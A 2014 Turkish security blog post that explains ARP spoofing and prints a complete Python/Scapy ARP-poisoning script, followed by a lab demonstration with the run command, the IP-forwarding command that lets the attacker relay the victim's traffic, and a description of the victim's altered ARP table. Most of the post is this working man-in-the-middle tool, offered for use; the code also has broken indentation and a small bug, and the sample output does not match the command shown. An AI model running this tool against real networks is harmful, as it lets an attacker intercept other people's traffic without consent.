29 Mayıs 2014 Perşembe

Arpspoof yerel ağlarda en çok karşılaşılan saldırılardan bir tanesi olarak göze çarpmaktadır. Kısaca saldırgan hedef bilgisayarın arp tablosundaki kayıtları değiştirirerek ön tanımlı ağ geçidi üzerinden akacak trafiğin kendisi üzerinden akmasını sağlamasıdır. http://en.wikipedia.org/wiki/ARP_spoofing adresinden arpspoof ile ilgili daha fazla bilgi edinilebilir.

Bu saldırının önlemi için yapılabileceklere https://www.bilgiguvenligi.gov.tr/aktif-cihaz-guvenligi/ikinci-katman-saldirilari-1-3.html adresinden göz atılabilir. 

Burada https://github.com/byt3bl33d3r/arpspoof/blob/master/arpspoof.py adresindeki örnek temel alınarak arpspoof saldırını gerçekleştirmek üzere dsniff paketi ile birlikte gelen arpsoof yazılımının parametre kullanımı baz alınarak bir geliştirme gerçekleştirilmiştir. 

Yazılım scapy kütüphanesi kullanılarak geliştirilmiştir. Eğer sistemde yoksa kurulması gerekmektedir. Bu işlem apt-get paket yönetimini kullanan sistemlerde apt-get install python-scapy komutunun çalıştırılması ile gerçekleştirilebilir. Scapy ile ilgili daha fazla bilgi almak için http://www.secdev.org/projects/scapy/ adresine göz atılabilir.

https://github.com/galkan/tools/blob/master/others/programming/python/arpspoof.py adresinden yazılımın en güncel haline erişim sağlanabilmektedir.

#!/usr/bin/env python


try:
 from optparse import OptionParser
 import os
 import sys
 import signal
 from time import sleep
 import logging
 logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
 from scapy.all import *
except ImportError,e:
 import sys
 sys.stdout.write("%s\n" %e)
 sys.exit(1)


 
class ArpSpoof:

 def __init__(self):
   
     if os.geteuid() != 0:
  print "[-] Run me as root"
  sys.exit(1)

     usage = 'Usage: %prog [-i interface] [-t target] host'
     parser = OptionParser(usage)
     parser.add_option('-i', dest='interface', help='Specify the interface to use')
     parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
     parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
     (self.options, self.args) = parser.parse_args()

     if len(self.args) != 1 or self.options.interface == None:
       parser.print_help()
       sys.exit(0)

     self.broadcast_mac = 'ff:ff:ff:ff:ff:ff'  
     self.mac = get_if_hwaddr(self.options.interface)
       
 
 def build_req(self):
   
     if self.options.target == None:
  pkt = Ether(src = mac, dst = self.broadcast_mac)/ARP(hwsrc = self.mac, psrc = self.args[0], pdst = self.args[0])
     elif self.options.target:
  target_mac = getmacbyip(self.options.target)
  if target_mac == None:
      print "[-] Error: Could not resolve targets MAC address"
      sys.exit(1)
  pkt = Ether(src = self.mac, dst = target_mac)/ARP(hwsrc = self.mac, psrc = self.args[0], hwdst = target_mac, pdst = self.options.target)
  
     return pkt

     

        def build_rep(self):
   
     if self.options.target == None:
  pkt = Ether(src = self.mac, dst = self.broadcast_mac)/ARP(hwsrc = self.mac, psrc = self.args[0], op = 2)
     elif self.options.target:
  target_mac = getmacbyip(self.options.target)
  if target_mac == None:
   print "[-] Error: Could not resolve targets MAC address"
   sys.exit(1)
  pkt = Ether(src = self.mac, dst = target_mac)/ARP(hwsrc = self.mac, psrc = self.args[0], hwdst = target_mac, pdst = self.options.target, op = 2)

     return pkt


     
 def rearp(self, signal, frame):
   
     sleep(1)
     print '\n[*] Re-arping network'
     rearp_mac = getmacbyip(self.args[0])
     print self.args[0]
     
     pkt = Ether(src = rearp_mac, dst = self.broadcast_mac)/ARP(psrc = self.args[0], hwsrc = self.mac, op = 2)
     sendp(pkt, inter = 1, count = 5, iface = self.options.interface)
     sys.exit(0)

      
      
        def main(self):
 
     if self.options.mode == 'req':
  pkt = self.build_req() 
     elif self.options.mode == 'rep':
  pkt = self.build_rep()

     signal.signal(signal.SIGINT, self.rearp) 
     while True:
  sendp(pkt, inter = 2, iface = self.options.interface, verbose=False)
 
 
##
### Main ...
##
 
if __name__ == "__main__":
 
 arpspoof = ArpSpoof()
 arpspoof.main()
 

Aşağıda gösterilen senaryo sanallaştırma ortamında gerçekleştirilmiştir. Kurban bilgisayarın ön tanımlı ağ geçidi ip adresi 192.168.100.102 olarak belirtilmiştir. Bu durum aşağıdaki şekilde görülmektedir. 

Yazılımın çalıştırılması gösterildiği gibi olmaktadır. Kurban bilgisayar ip adresi olarak 192.168.100.37 belirtilmiştir.

# ./arpspoof.py -i eth0 -t 192.168.100.37 192.168.100.2
[*] Re-arping network
192.168.4.1
.....
Sent 5 packets.

Saldırı sonrası kurban bilgisayara ait trafiğin sağlıklı bir şekilde iletilebilmesi için linux sistemlerde ip forwarding'in aktive edilmesi gerekmektedir. Bunun için kısaca belirtilen komutun işletilmesi gerekmektedir.

# echo "1" > /proc/sys/net/ipv4/ip_forward

Saldırı öncesi kurban bilgisayar arp tablosu aşağıda gösterildiği gibi olmaktadır.
Saldırı öncesi kurban bilgisayara ait arp tablosu
Saldırıs sonrası kurban bilgisayara ait arp tablosu aşağıda gösterildiği gibi olmaktadır.
Saldırı sonrası kurban bilgisayara ait arp tablosu
Görüldüğü gibi saldırı sonrası  kurban bilgisayara ait arp tablosunda ön tanımlı ağ geçidi mac adresi olarak saldırgan bilgisayara ait mac kaydı görülmektedir.

Kaynak:
https://github.com/byt3bl33d3r/arpspoof/blob/master/arpspoof.py
http://www.secdev.org/projects/scapy/
https://www.bilgiguvenligi.gov.tr/aktif-cihaz-guvenligi/ikinci-katman-saldirilari-1-3.html
http://en.wikipedia.org/wiki/ARP_spoofing
https://github.com/galkan/tools/blob/master/others/programming/python/arpspoof.py
http://www.galkan.net/search?q=python

0 yorum :

Yorum Gönderme